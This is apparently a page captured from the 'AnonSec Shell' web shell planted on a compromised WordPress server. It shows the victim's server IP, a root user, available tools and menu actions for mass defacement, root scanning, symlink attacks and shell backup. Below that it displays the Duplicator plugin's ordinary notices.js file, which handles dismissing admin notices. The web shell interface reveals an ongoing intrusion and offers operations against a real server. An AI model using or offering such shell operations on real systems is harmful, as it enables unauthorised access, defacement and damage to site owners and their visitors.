AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/wp-content/plugins/duplicator/assets/js/notifications/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/wp-content/plugins/duplicator/assets/js/notifications/notices.js
/**
 * Duplicator Dismissible Notices.
 *
 */

'use strict';

var DupAdminNotices = window.DupAdminNotices || (function (document, window, $) {

    /**
     * Public functions and properties.
     */
    var app = {

        /**
         * Start the engine.
         */
        init: function () {

            $(app.ready);
        },

        /**
         * Document ready.
         */
        ready: function () {

            app.events();
        },

        /**
         * Dismissible notices events.
         */
        events: function () {
            $(document).on(
                'click',
                '.dup-notice .notice-dismiss, .dup-notice .dup-notice-dismiss',
                app.dismissNotice
            );

            $(document).on(
                'click',
                '.dup-notice .dup-multi-notice a[data-step]',
                function (e) {
                    e.preventDefault();
                    var target = $(this).attr('data-step');
                    console.log(target)
                    if (target) {
                        var notice = $(this).closest('.dup-multi-notice');
                        var review_step = notice.find('.dup-multi-notice-step-' + target);
                        if (review_step.length > 0) {
                            notice.find('.dup-multi-notice-step:visible').fadeOut(function () {
                                review_step.fadeIn();
                            });
                        }
                    }
                }
            );
        },

        /**
         * Dismiss notice event handler.
         *
         * @param {object} e Event object.
         * */
        dismissNotice: function (e) {

            $.post(dup_admin_notices.ajax_url, {
                action: 'dup_notice_dismiss',
                nonce: dup_admin_notices.nonce,
                id: ($(this).closest('.dup-notice').attr('id') || '').replace('dup-notice-', ''),
            });

            $(this).closest('.dup-notice').fadeOut();
        }
    };

    return app;

}(document, window, jQuery));

// Initialize.
DupAdminNotices.init();

Anon7 - 2022
AnonSec Team